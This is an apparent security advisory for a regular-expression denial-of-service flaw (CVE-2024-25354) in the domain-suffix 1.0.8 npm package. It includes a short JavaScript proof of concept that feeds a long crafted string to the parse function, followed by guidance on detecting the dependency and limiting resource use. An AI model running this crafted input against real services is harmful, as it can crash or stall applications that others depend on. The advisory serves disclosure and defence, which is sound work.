Description

RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.

PoC

async function exploit() {
   const domainsuffix = require(\"domain-suffix\");
   // Crafting a string that will cause excessive backtracking
   const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\"
   const result = await domainsuffix.domainSuffix.parse(maliciousInput);
}
await exploit();

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for domain-suffix, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    The records we use list no patched version of domain-suffix for CVE-2024-25354. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.

  3. Mitigate without a patch

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
